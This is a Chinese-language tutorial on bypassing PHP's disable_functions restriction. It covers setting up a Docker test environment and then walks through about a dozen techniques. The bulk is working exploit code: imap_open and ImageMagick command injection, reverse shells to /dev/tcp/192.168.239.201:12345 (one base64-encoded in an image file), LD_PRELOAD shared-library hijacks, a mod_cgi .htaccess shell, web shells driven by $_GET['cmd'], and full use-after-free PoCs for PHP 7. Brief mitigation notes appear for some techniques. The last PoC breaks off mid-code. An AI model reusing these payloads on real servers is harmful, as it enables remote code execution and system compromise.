Bypass disable_functions

环境搭建

docker：https://hub.docker.com/r/boosen/lnmp/tags
版本：ubuntu 14.04 + php5.6 + mysql 5.5 + nginx1.8

sudo wget -qO- https://get.docker.com|sh 安装docker 最新版
vim /etc/docker/daemon.json 写入 { "registry-mirrors": ["https://registry.docker-cn.com"] } 换源
docker pull boosen/lnmp 拉取lnmp环境
docker container run -d -it -p 8081:80 --name xxx boosen/lnmp 开启容器
docker exec -it id /bin/bash 进入容器

Bypass disable_functions

1. imap_open (CVE-2018-19518) 绕过

1.安装imap_open 扩展


xxxxxxxxxx
7
1
1.apt-get install libc-client2007e-dev -y
2
2.cd php源码/ext/imap
3
3.phpize
4
4../configure --with-php-config=/usr/local/php/bin/php-config --with-imap=/usr/lib64 --with-imap-ssl --with-kerberos
5
5.make && make install
6
6.echo "extension = imap.so" >> /usr/local/php/lib/php.ini 
7
6.service php-fpm restart

2.简单分析
根据https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb和https://www.codercto.com/a/43774.html：

当能够使用ssh时，imap会启动一个预认证模式，使用ssh协议进行认证，如果认证成功就不会建立一个imap连接，而是继续执行。
基于预认证模式，我们就可以通过ssh进行参数传递，这个参数就是mailbox，而ssh中有一个参数-o，这个参数可以指定连接时的参数选项，如果我们指定ssh的另一个参数ProxyCommand,就可以通过这个参数执行命令。

3.payload构造


xxxxxxxxxx
5
1
<?php
2
$payload = "/bin/bash -i >& /dev/tcp/192.168.239.201/12345 0>&1";
3
$base64 = base64_encode($payload);
4
$server = "any -oProxyCommand=echo\t{$base64}|base64\t-d|bash";
5
@imap_open("{".$server."}:143/imap}INBOX","","");

4.修复

php版本符合以下可以在php.ini设置:


xxxxxxxxxx
1
1
imap.enable_insecure_rsh  "0" PHP_INI_SYSTEM  Available as of PHP 7.1.25, 7.2.13 and 7.3.0. Formerly, it was implicitly enabled.

这样就可以禁止不安全的预认证

禁用imap_open函数

2. ImageMagick(CVE-2016-3714)绕过

1.环境要求
imagick 版本<=6.9.3-9

2.简单分析
根据http://www.zerokeeper.com/vul-analysis/ImageMagick-CVE-2016-3714.html简单分析：

Imagick是一个图形处理库，支持的语言非常多，通过这个库可以对web图片进行裁剪、翻转等操作，但是由于其对https文件处理不当，导致我们可以执行命令。
在 /etc/ImageMagick-6/delegates.xml：


xxxxxxxxxx
2
1
  <delegate decode="https" command="&quot;curl&quot; -s -k -L -o &quot;%o&quot; &quot;http
2
s:%M&quot;"/>

如果对https形式的资源进行处理，导致我们可以通过命令拼接的方式command=curl -s -k -L -o "%o" "https:%M",通过|、&、`的方式进行命令的拼接,其中%M是占位符：


xxxxxxxxxx
16
1
    %a  authentication passphrase
2
    %b  image file size in bytes
3
    %g  image geometry
4
    %h  image rows (height)
5
    %i  input image filename
6
    %#  input image signature
7
    %m  input image format
8
    %o  output image filename
9
    %p  page number
10
    %q  input image depth
11
    %s  scene number
12
    %u  unique temporary filename
13
    %w  image columns (width)
14
    %x  input image x resolution
15
    %y  input image y resolution
16

3.payload构造

vim poc.png 写入以下内容


xxxxxxxxxx
4
1
push graphic-context
2
viewbox 0 0 640 480
3
fill 'url(https://example.com/1.jpg"|echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjM5LjIwMS8xMjM0NSAwPiYxCg==|base64 -d|bash")'
4
pop graphic-context

写一个上传页面upload.php(主要是用来调用Imagick类的)


xxxxxxxxxx
21
1
<!doctype html>
2
<html lang="en">
3
<head>
4
    <meta charset="UTF-8">
5
    <title>upload</title>
6
</head>
7
<body>
8
    <form action="" method="post" enctype="multipart/form-data">
9
        <input type="file" name="file">
10
        <input type="submit" value="submit">
11
    </form>
12
</body>
13
<?php
14
        $filename = $_FILES['file']['name'];
15
        $type = substr($filename, strrpos($filename, '.')+1);
16
        if ($type === "jpg" || $type === "png" || $type === "gif") {
17
                move_uploaded_file($_FILES['file']['tmp_name'], $filename);
18
                $imgObject = new Imagick($filename);
19
        }
20
?>
21
</html>

上传文件

3.修复方法

升级Imagick到6.9.3-10及以上
使用 policy file 来防御这个漏洞，这个文件默认位置在 /etc/ImageMagick-6/policy.xml ，我们通过配置如下的 xml 来禁止解析 https 等敏感操作：


xxxxxxxxxx
5
1
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
2
<policy domain="coder" rights="none" pattern="URL" />
3
<policy domain="coder" rights="none" pattern="HTTPS" />
4
<policy domain="coder" rights="none" pattern="MVG" />
5
<policy domain="coder" rights="none" pattern="MSL" />

3. mail()函数

1. 环境要求
参考：https://xz.aliyun.com/t/3937

cve-2014-6271(bash 破壳漏洞)，不过太老了，这种 bash软件的漏洞发行版基本上痘修复了，所以不考虑
mail()、putenv()以及getenv()可用

2. payload构造

生成evil.so,上传到/tmp/evil.so


xxxxxxxxxx
22
1
/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */
2

3
#include <stdlib.h>
4
#include <stdio.h>
5
#include <string.h> 
6

7
void payload(char *cmd) {
8
  char buf[512];
9
  strcpy(buf, cmd);
10
  strcat(buf, " > /tmp/_0utput.txt");
11
  system(buf);
12
} 
13

14
int  geteuid() {
15
  char *cmd;
16
  if (getenv("LD_PRELOAD") == NULL) { return 0; }
17
  unsetenv("LD_PRELOAD");
18
  if ((cmd = getenv("_evilcmd")) != NULL) {
19
    payload(cmd);
20
  }
21
  return 1;
22
}

若是没启用或者不存在/usr/bin/sendmail这样的功能，还可以利用GCC的扩展修饰符:
若函数被设定为constructor属性，则该函数会在main（）函数执行之前被自动的执行。类似的，若函数被设定为destructor属性，则该函数会在main（）函数执行之后或者exit（）被调用后被自动的执行，而在PHP这里执行的前提是，我们需要新启动一个进程，因为共享库不是被系统自动加载的，而是新进程要求加载的


xxxxxxxxxx
7
1
#include <stdlib.h>
2
#include <string.h>
3
__attribute__((constructor))void payload() {
4
    unsetenv("LD_PRELOAD");
5
    const char* cmd = getenv("_evilcmd");
6
    system(cmd);
7
}

写shell.php


xxxxxxxxxx
15
1
<?php
2

3
$r1 = putenv("LD_PRELOAD=/tmp/evil.so");
4
echo "putenv: $r1 <br>";
5

6
$cmd = $_GET['cmd'];
7
$r2 = putenv("_evilcmd=$cmd");
8
echo "putenv: $r2 <br>";
9

10
$r3 = mail("[email protected]", "", "", "");
11
echo "mail: $r3 <br>";
12

13
highlight_file("/tmp/_0utput.txt");
14

15
?>

3. 修复方法
禁用putenv

5. error_log

1. 介绍
error_log 用来将错误消息发送到web日志或者系统文件中，但是有趣的地方在于该函数的第二个参数：message_type，根据官方文档描述：当message_type为1时，就会使用邮件发送消息，而使用的邮件也就是sendmail，所以这方法就和上一个：mail有点像了

2. payload构造
将共享库evil.so上传到/tmp目录 shell.php:


xxxxxxxxxx
15
1
<?php
2

3
$r1 = putenv("LD_PRELOAD=/tmp/evil.so");
4
echo "putenv: $r1 <br>";
5

6
$cmd = $_GET['cmd'];
7
$r2 = putenv("_evilcmd=$cmd");
8
echo "putenv: $r2 <br>";
9

10
$r3 = error_log('test', 1);
11
echo "mail: $r3 <br>";
12

13
highlight_file("/tmp/_0utput.txt");
14

15
?>

5. Imagick 结合LD_PRELOAD的另一种用法

1. 介绍 Imagick在处理ffpemg类型的文件时，会去调用外部处理程序，在对利用了Imagick的php文件进行strace追踪后，发现调用栈里面除了/usr/bin/php这个php的解释器外，还调用了/bin/sh来执行ffpemg命令，那么我们便可以劫持/bin/sh加载的共享对象了:


xxxxxxxxxx
7
1
#include <stdlib.h>
2
#include <string.h>
3
__attribute__((constructor))void payload() {
4
    unsetenv("LD_PRELOAD");
5
    const char* cmd = getenv("_evilcmd");
6
    system(cmd);
7
}

6. pcntl_exec

1. 环境要求
phpinfo()中，编译带有--enable-pcntl

2. payload构造


xxxxxxxxxx
10
1
<?php
2
$cmd = @$_REQUEST[cmd];
3
if(function_exists('pcntl_exec')) {
4
    $cmd = $cmd."&pkill -9 bash >out"; //执行完毕当前的命令。结束掉bash，方便下一次继续执行
5
    pcntl_exec("/bin/bash", $cmd);    //可能会造成假死。因为pcntl_exec一直处于等待的状态
6
    highlight_file("out");        
7
} else {
8
        echo '不支持pcntl扩展';
9
}
10
?>

3. 修复方法
禁用pcntl_exec

7. Bypass with via mod_cgi

1. 环境要求
参考：http://0cx.cc/bypass_disabled_via_mod_cgi.jspx

apache 服务器
.htaccess文件可写
mod_cgi 模块启用
chmod() 没被禁用

2. payload构造


xxxxxxxxxx
36
1
<?php
2
$cmd = "/bin/bash -i >& /dev/tcp/127.0.0.1/12345 0>&1 2>&1"; //command to be executed
3
$shellfile = "#!/bin/bash\n"; //using a shellscript
4
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
5
$shellfile .= "$cmd"; //executing $cmd
6
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
7
{
8
    echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
9
}
10
if (!isset($_GET['checked']))
11
{
12
    @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
13
    header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
14
}
15
else
16
{
17
    $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
18
    $writable = is_writable('.'); //current dir writable?
19
    $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
20
        checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
21
        checkEnabled("Is writable",$writable,"Yes","No");
22
        checkEnabled("htaccess working",$htaccess,"Yes","No");
23
    if(!($modcgi && $writable && $htaccess))
24
    {
25
        echo "Error. All of the above must be true for the script to work!"; //abort if not
26
    }
27
    else
28
    {
29
        checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
30
        checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
31
        checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
32
        checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
33
        echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
34
    }
35
}
36
?>

8. bypass with via LD_PRELOAD (感觉是最强大的方法)

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
已经够详细了，就不画蛇添足了

9. COM 组件（WINDOWS 专属）

1. 环境要求

extension = php_com_dotnet.dll
搜索 phpinfo() 是否有 com_dotnet

2. payload构造


xxxxxxxxxx
3
1
<?php
2
$wscript = new COM('wscript.shell');
3
$wscript->Run("cmd.exe /c calc.exe");

3. 修复方法
禁用 COM组件：注释extension = php_com_dotnet.dll

10. 终极大杀器(自动化傻瓜，只支持类unix) 蚁剑扩展

https://github.com/AntSword-Store/as_bypass_php_disable_functions

2020年7月10更新

10. php7.0-7.3垃圾回收器bug，适用于*inx


xxxxxxxxxx
215
1
<?php
2

3
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
4
#
5
# Bug: https://bugs.php.net/bug.php?id=72530
6
#
7
# This exploit should work on all PHP 7.0-7.3 versions
8
#
9
# Author: https://github.com/mm0r1
10

11
pwn("uname -a");
12

13
function pwn($cmd) {
14
    global $abc, $helper;
15

16
    function str2ptr(&$str, $p = 0, $s = 8) {
17
        $address = 0;
18
        for($j = $s-1; $j >= 0; $j--) {
19
            $address <<= 8;
20
            $address |= ord($str[$p+$j]);
21
        }
22
        return $address;
23
    }
24

25
    function ptr2str($ptr, $m = 8) {
26
        $out = "";
27
        for ($i=0; $i < $m; $i++) {
28
            $out .= chr($ptr & 0xff);
29
            $ptr >>= 8;
30
        }
31
        return $out;
32
    }
33

34
    function write(&$str, $p, $v, $n = 8) {
35
        $i = 0;
36
        for($i = 0; $i < $n; $i++) {
37
            $str[$p + $i] = chr($v & 0xff);
38
            $v >>= 8;
39
        }
40
    }
41

42
    function leak($addr, $p = 0, $s = 8) {
43
        global $abc, $helper;
44
        write($abc, 0x68, $addr + $p - 0x10);
45
        $leak = strlen($helper->a);
46
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
47
        return $leak;
48
    }
49

50
    function parse_elf($base) {
51
        $e_type = leak($base, 0x10, 2);
52

53
        $e_phoff = leak($base, 0x20);
54
        $e_phentsize = leak($base, 0x36, 2);
55
        $e_phnum = leak($base, 0x38, 2);
56

57
        for($i = 0; $i < $e_phnum; $i++) {
58
            $header = $base + $e_phoff + $i * $e_phentsize;
59
            $p_type  = leak($header, 0, 4);
60
            $p_flags = leak($header, 4, 4);
61
            $p_vaddr = leak($header, 0x10);
62
            $p_memsz = leak($header, 0x28);
63

64
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
65
                # handle pie
66
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
67
                $data_size = $p_memsz;
68
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
69
                $text_size = $p_memsz;
70
            }
71
        }
72

73
        if(!$data_addr || !$text_size || !$data_size)
74
            return false;
75

76
        return [$data_addr, $text_size, $data_size];
77
    }
78

79
    function get_basic_funcs($base, $elf) {
80
        list($data_addr, $text_size, $data_size) = $elf;
81
        for($i = 0; $i < $data_size / 8; $i++) {
82
            $leak = leak($data_addr, $i * 8);
83
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
84
                $deref = leak($leak);
85
                # 'constant' constant check
86
                if($deref != 0x746e6174736e6f63)
87
                    continue;
88
            } else continue;
89

90
            $leak = leak($data_addr, ($i + 4) * 8);
91
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
92
                $deref = leak($leak);
93
                # 'bin2hex' constant check
94
                if($deref != 0x786568326e6962)
95
                    continue;
96
            } else continue;
97

98
            return $data_addr + $i * 8;
99
        }
100
    }
101

102
    function get_binary_base($binary_leak) {
103
        $base = 0;
104
        $start = $binary_leak & 0xfffffffffffff000;
105
        for($i = 0; $i < 0x1000; $i++) {
106
            $addr = $start - 0x1000 * $i;
107
            $leak = leak($addr, 0, 7);
108
            if($leak == 0x10102464c457f) { # ELF header
109
                return $addr;
110
            }
111
        }
112
    }
113

114
    function get_system($basic_funcs) {
115
        $addr = $basic_funcs;
116
        do {
117
            $f_entry = leak($addr);
118
            $f_name = leak($f_entry, 0, 6);
119

120
            if($f_name == 0x6d6574737973) { # system
121
                return leak($addr + 8);
122
            }
123
            $addr += 0x20;
124
        } while($f_entry != 0);
125
        return false;
126
    }
127

128
    class ryat {
129
        var $ryat;
130
        var $chtg;
131
        
132
        function __destruct()
133
        {
134
            $this->chtg = $this->ryat;
135
            $this->ryat = 1;
136
        }
137
    }
138

139
    class Helper {
140
        public $a, $b, $c, $d;
141
    }
142
    
143
    if(stristr(PHP_OS, 'WIN')) {
144
        die('This PoC is for *nix systems only.');
145
    }
146

147
    $n_alloc = 10; # increase this value if you get segfaults
148

149
    $contiguous = [];
150
    for($i = 0; $i < $n_alloc; $i++)
151
        $contiguous[] = str_repeat('A', 79);
152

153
    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
154
    $out = unserialize($poc);
155
    gc_collect_cycles();
156

157
    $v = [];
158
    $v[0] = ptr2str(0, 79);
159
    unset($v);
160
    $abc = $out[2][0];
161

162
    $helper = new Helper;
163
    $helper->b = function ($x) { };
164

165
    if(strlen($abc) == 79 || strlen($abc) == 0) {
166
        die("UAF failed");
167
    }
168

169
    # leaks
170
    $closure_handlers = str2ptr($abc, 0);
171
    $php_heap = str2ptr($abc, 0x58);
172
    $abc_addr = $php_heap - 0xc8;
173

174
    # fake value
175
    write($abc, 0x60, 2);
176
    write($abc, 0x70, 6);
177

178
    # fake reference
179
    write($abc, 0x10, $abc_addr + 0x60);
180
    write($abc, 0x18, 0xa);
181

182
    $closure_obj = str2ptr($abc, 0x20);
183

184
    $binary_leak = leak($closure_handlers, 8);
185
    if(!($base = get_binary_base($binary_leak))) {
186
        die("Couldn't determine binary base address");
187
    }
188

189
    if(!($elf = parse_elf($base))) {
190
        die("Couldn't parse ELF header");
191
    }
192

193
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
194
        die("Couldn't get basic_functions address");
195
    }
196

197
    if(!($zif_system = get_system($basic_funcs))) {
198
        die("Couldn't get zif_system address");
199
    }
200

201
    # fake closure object
202
    $fake_obj_offset = 0xd0;
203
    for($i = 0; $i < 0x110; $i += 8) {
204
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
205
    }
206

207
    # pwn
208
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
209
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
210
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
211

212
    ($helper->b)($cmd);
213

214
    exit();
215
}

11. json serializer UAF ，*nix


xxxxxxxxxx
3
1
7.1 - all versions to date
2
7.2 < 7.2.19 (released: 30 May 2019)
3
7.3 < 7.3.6 (released: 30 May 2019)


xxxxxxxxxx
253
1
<?php
2

3
$cmd = "id";
4

5
$n_alloc = 10; # increase this value if you get segfaults
6

7
class MySplFixedArray extends SplFixedArray {
8
    public static $leak;
9
}
10

11
class Z implements JsonSerializable {
12
    public function write(&$str, $p, $v, $n = 8) {
13
      $i = 0;
14
      for($i = 0; $i < $n; $i++) {
15
        $str[$p + $i] = chr($v & 0xff);
16
        $v >>= 8;
17
      }
18
    }
19

20
    public function str2ptr(&$str, $p = 0, $s = 8) {
21
        $address = 0;
22
        for($j = $s-1; $j >= 0; $j--) {
23
            $address <<= 8;
24
            $address |= ord($str[$p+$j]);
25
        }
26
        return $address;
27
    }
28

29
    public function ptr2str($ptr, $m = 8) {
30
        $out = "";
31
        for ($i=0; $i < $m; $i++) {
32
            $out .= chr($ptr & 0xff);
33
            $ptr >>= 8;
34
        }
35
        return $out;
36
    }
37

38
    # unable to leak ro segments
39
    public function leak1($addr) {
40
        global $spl1;
41

42
        $this->write($this->abc, 8, $addr - 0x10);
43
        return strlen(get_class($spl1));
44
    }
45

46
    # the real deal
47
    public function leak2($addr, $p = 0, $s = 8) {
48
        global $spl1, $fake_tbl_off;
49

50
        # fake reference zval
51
        $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
52
        $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
53
        $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
54

55
        $leak = strlen($spl1::$leak);
56
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
57

58
        return $leak;
59
    }
60

61
    public function parse_elf($base) {
62
        $e_type = $this->leak2($base, 0x10, 2);
63

64
        $e_phoff = $this->leak2($base, 0x20);
65
        $e_phentsize = $this->leak2($base, 0x36, 2);
66
        $e_phnum = $this->leak2($base, 0x38, 2);
67

68
        for($i = 0; $i < $e_phnum; $i++) {
69
            $header = $base + $e_phoff + $i * $e_phentsize;
70
            $p_type  = $this->leak2($header, 0, 4);
71
            $p_flags = $this->leak2($header, 4, 4);
72
            $p_vaddr = $this->leak2($header, 0x10);
73
            $p_memsz = $this->leak2($header, 0x28);
74

75
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
76
                # handle pie
77
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
78
                $data_size = $p_memsz;
79
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
80
                $text_size = $p_memsz;
81
            }
82
        }
83

84
        if(!$data_addr || !$text_size || !$data_size)
85
            return false;
86

87
        return [$data_addr, $text_size, $data_size];
88
    }
89

90
    public function get_basic_funcs($base, $elf) {
91
        list($data_addr, $text_size, $data_size) = $elf;
92
        for($i = 0; $i < $data_size / 8; $i++) {
93
            $leak = $this->leak2($data_addr, $i * 8);
94
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
95
                $deref = $this->leak2($leak);
96
                # 'constant' constant check
97
                if($deref != 0x746e6174736e6f63)
98
                    continue;
99
            } else continue;
100

101
            $leak = $this->leak2($data_addr, ($i + 4) * 8);
102
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
103
                $deref = $this->leak2($leak);
104
                # 'bin2hex' constant check
105
                if($deref != 0x786568326e6962)
106
                    continue;
107
            } else continue;
108

109
            return $data_addr + $i * 8;
110
        }
111
    }
112

113
    public function get_binary_base($binary_leak) {
114
        $base = 0;
115
        $start = $binary_leak & 0xfffffffffffff000;
116
        for($i = 0; $i < 0x1000; $i++) {
117
            $addr = $start - 0x1000 * $i;
118
            $leak = $this->leak2($addr, 0, 7);
119
            if($leak == 0x10102464c457f) { # ELF header
120
                return $addr;
121
            }
122
        }
123
    }
124

125
    public function get_system($basic_funcs) {
126
        $addr = $basic_funcs;
127
        do {
128
            $f_entry = $this->leak2($addr);
129
            $f_name = $this->leak2($f_entry, 0, 6);
130

131
            if($f_name == 0x6d6574737973) { # system
132
                return $this->leak2($addr + 8);
133
            }
134
            $addr += 0x20;
135
        } while($f_entry != 0);
136
        return false;
137
    }
138

139
    public function jsonSerialize() {
140
        global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
141

142
        $contiguous = [];
143
        for($i = 0; $i < $n_alloc; $i++)
144
            $contiguous[] = new DateInterval('PT1S');
145

146
        $room = [];
147
        for($i = 0; $i < $n_alloc; $i++)
148
            $room[] = new Z();
149

150
        $_protector = $this->ptr2str(0, 78);
151

152
        $this->abc = $this->ptr2str(0, 79);
153
        $p = new DateInterval('PT1S');
154

155
        unset($y[0]);
156
        unset($p);
157

158
        $protector = ".$_protector";
159

160
        $x = new DateInterval('PT1S');
161
        $x->d = 0x2000;
162
        $x->h = 0xdeadbeef;
163
        # $this->abc is now of size 0x2000
164

165
        if($this->str2ptr($this->abc) != 0xdeadbeef) {
166
            die('UAF failed.');
167
        }
168

169
        $spl1 = new MySplFixedArray();
170
        $spl2 = new MySplFixedArray();
171

172
        # some leaks
173
        $class_entry = $this->str2ptr($this->abc, 0x120);
174
        $handlers = $this->str2ptr($this->abc, 0x128);
175
        $php_heap = $this->str2ptr($this->abc, 0x1a8);
176
        $abc_addr = $php_heap - 0x218;
177

178
        # create a fake class_entry
179
        $fake_obj = $abc_addr;
180
        $this->write($this->abc, 0, 2); # type
181
        $this->write($this->abc, 0x120, $abc_addr); # fake class_entry
182

183
        # copy some of class_entry definition
184
        for($i = 0; $i < 16; $i++) {
185
            $this->write($this->abc, 0x10 + $i * 8, 
186
                $this->leak1($class_entry + 0x10 + $i * 8));
187
        }
188

189
        # fake static members table
190
        $fake_tbl_off = 0x70 * 4 - 16;
191
        $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
192
        $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);
193

194
        # fake zval_reference
195
        $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
196
        $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)
197

198
        # look for binary base
199
        $binary_leak = $this->leak2($handlers + 0x10);
200
        if(!($base = $this->get_binary_base($binary_leak))) {
201
            die("Couldn't determine binary base address");
202
        }
203

204
        # parse elf header
205
        if(!($elf = $this->parse_elf($base))) {
206
            die("Couldn't parse ELF");
207
        }
208

209
        # get basic_functions address
210
        if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
211
            die("Couldn't get basic_functions address");
212
        }
213

214
        # find system entry
215
        if(!($zif_system = $this->get_system($basic_funcs))) {
216
            die("Couldn't get zif_system address");
217
        }
218
        
219
        # copy hashtable offsetGet bucket
220
        $fake_bkt_off = 0x70 * 5 - 16;
221

222
        $function_data = $this->str2ptr($this->abc, 0x50);
223
        for($i = 0; $i < 4; $i++) {
224
            $this->write($this->abc, $fake_bkt_off + $i * 8, 
225
                $this->leak2($function_data + 0x40 * 4, $i * 8));
226
        }
227

228
        # create a fake bucket
229
        $fake_bkt_addr = $abc_addr + $fake_bkt_off;
230
        $this->write($this->abc, 0x50, $fake_bkt_addr);
231
        for($i = 0; $i < 3; $i++) {
232
            $this->write($this->abc, 0x58 + $i * 4, 1, 4);
233
        }
234

235
        # copy bucket zval
236
        $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
237
        for($i = 0; $i < 12; $i++) {
238
            $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8, 
239
                $this->leak2($function_zval, $i * 8));
240
        }
241

242
        # pwn
243
        $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
244
        $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);
245

246
        $spl1->offsetGet($cmd);
247

248
        exit();
249
    }
250
}
251

252
$y = [new Z()];
253
json_encode([&$y]);

12. debug_backtrace uaf，应用于php7.0-7.4的*nix系统


xxxxxxxxxx
220
1
<?php
2

3

4
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
5
#
6
# Bug: https://bugs.php.net/bug.php?id=76047
7
# debug_backtrace() returns a reference to a variable 
8
# that has been destroyed, causing a UAF vulnerability.
9
#
10
# This exploit should work on all PHP 7.0-7.4 versions
11
# released as of 30/01/2020.
12
#
13

14
# Author: https://github.com/mm0r1
15

16
pwn($_GET['cmd']);
17

18
function pwn($cmd) {
19
    global $abc, $helper, $backtrace;
20

21
    class Vuln {
22
        public $a;
23
        public function __destruct() { 
24
            global $backtrace; 
25
            unset($this->a);
26
            $backtrace = (new Exception)->getTrace(); # ;)
27
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
28
                $backtrace = debug_backtrace();
29
            }
30
        }
31
    }
32
    
33
    class Helper {
34
        public $a, $b, $c, $d;
35
    }
36
    
37
    function str2ptr(&$str, $p = 0, $s = 8) {
38
        $address = 0;
39
        for($j = $s-1; $j >= 0; $j--) {
40
            $address <<= 8;
41
            $address |= ord($str[$p+$j]);
42
        }
43
        return $address;
44
    }
45
    
46
    function ptr2str($ptr, $m = 8) {
47
        $out = "";
48
        for ($i=0; $i < $m; $i++) {
49
            $out .= chr($ptr & 0xff);
50
            $ptr >>= 8;
51
        }
52
        return $out;
53
    }
54
    
55
    function write(&$str, $p, $v, $n = 8) {
56
        $i = 0;
57
        for($i = 0; $i < $n; $i++) {
58
            $str[$p + $i] = chr($v & 0xff);
59
            $v >>= 8;
60
        }
61
    }
62
    
63
    function leak($addr, $p = 0, $s = 8) {
64
        global $abc, $helper;
65
        write($abc, 0x68, $addr + $p - 0x10);
66
        $leak = strlen($helper->a);
67
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
68
        return $leak;
69
    }
70
    
71
    function parse_elf($base) {
72
        $e_type = leak($base, 0x10, 2);
73
    
74
        $e_phoff = leak($base, 0x20);
75
        $e_phentsize = leak($base, 0x36, 2);
76
        $e_phnum = leak($base, 0x38, 2);
77
    
78
        for($i = 0; $i < $e_phnum; $i++) {
79
            $header = $base + $e_phoff + $i * $e_phentsize;
80
            $p_type  = leak($header, 0, 4);
81
            $p_flags = leak($header, 4, 4);
82
            $p_vaddr = leak($header, 0x10);
83
            $p_memsz = leak($header, 0x28);
84
    
85
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
86
                # handle pie
87
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
88
                $data_size = $p_memsz;
89
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
90
                $text_size = $p_memsz;
91
            }
92
        }
93
    
94
        if(!$data_addr || !$text_size || !$data_size)
95
            return false;
96
    
97
        return [$data_addr, $text_size, $data_size];
98
    }
99
    
100
    function get_basic_funcs($base, $elf) {
101
        list($data_addr, $text_size, $data_size) = $elf;
102
        for($i = 0; $i < $data_size / 8; $i++) {
103
            $leak = leak($data_addr, $i * 8);
104
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
105
                $deref = leak($leak);
106
                # 'constant' constant check
107
                if($deref != 0x746e6174736e6f63)
108
                    continue;
109
            } else continue;
110
    
111
            $leak = leak($data_addr, ($i + 4) * 8);
112
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
113
                $deref = leak($leak);
114
                # 'bin2hex' constant check
115
                if($deref != 0x786568326e6962)
116
                    continue;
117
            } else continue;
118
    
119
            return $data_addr + $i * 8;
120
        }
121
    }
122
    
123
    function get_binary_base($binary_leak) {
124
        $base = 0;
125
        $start = $binary_leak & 0xfffffffffffff000;
126
        for($i = 0; $i < 0x1000; $i++) {
127
            $addr = $start - 0x1000 * $i;
128
            $leak = leak($addr, 0, 7);
129
            if($leak == 0x10102464c457f) { # ELF header
130
                return $addr;
131
            }
132
        }
133
    }
134
    
135
    function get_system($basic_funcs) {
136
        $addr = $basic_funcs;
137
        do {
138
            $f_entry = leak($addr);
139
            $f_name = leak($f_entry, 0, 6);
140
    
141
            if($f_name == 0x6d6574737973) { # system
142
                return leak($addr + 8);
143
            }
144
            $addr += 0x20;
145
        } while($f_entry != 0);
146
        return false;
147
    }
148
    
149
    function trigger_uaf($arg) {
150
        # str_shuffle prevents opcache string interning
151
        $arg = str_shuffle(str_repeat('A', 79));
152
        $vuln = new Vuln();
153
        $vuln->a = $arg;
154
    }
155
    
156
    if(stristr(PHP_OS, 'WIN')) {
157
        die('This PoC is for *nix systems only.');
158
    }
159
    
160
    $n_alloc = 10; # increase this value if UAF fails
161
    $contiguous = [];
162
    for($i = 0; $i < $n_alloc; $i++)
163
